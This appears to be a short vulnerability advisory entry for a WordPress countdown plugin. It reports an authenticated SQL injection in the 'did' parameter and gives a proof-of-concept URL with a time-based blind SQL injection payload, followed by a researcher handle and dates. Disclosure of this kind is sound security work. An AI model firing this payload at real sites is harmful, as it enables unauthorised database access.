The plugin does not sanitize user input into the 'did' parameter and uses it in a SQL statement, leading to an authenticated SQL Injection.
https://example.com/wp-admin/admin.php?page=mwp-countdown&info=del&did=1+AND+(SELECT+5382+FROM+(SELECT(SLEEP(5)))PpNt)
0xdecafbad
Yes
2022-03-07 (about 1 years ago)
2022-03-07 (about 1 years ago)
2022-04-09 (about 11 months ago)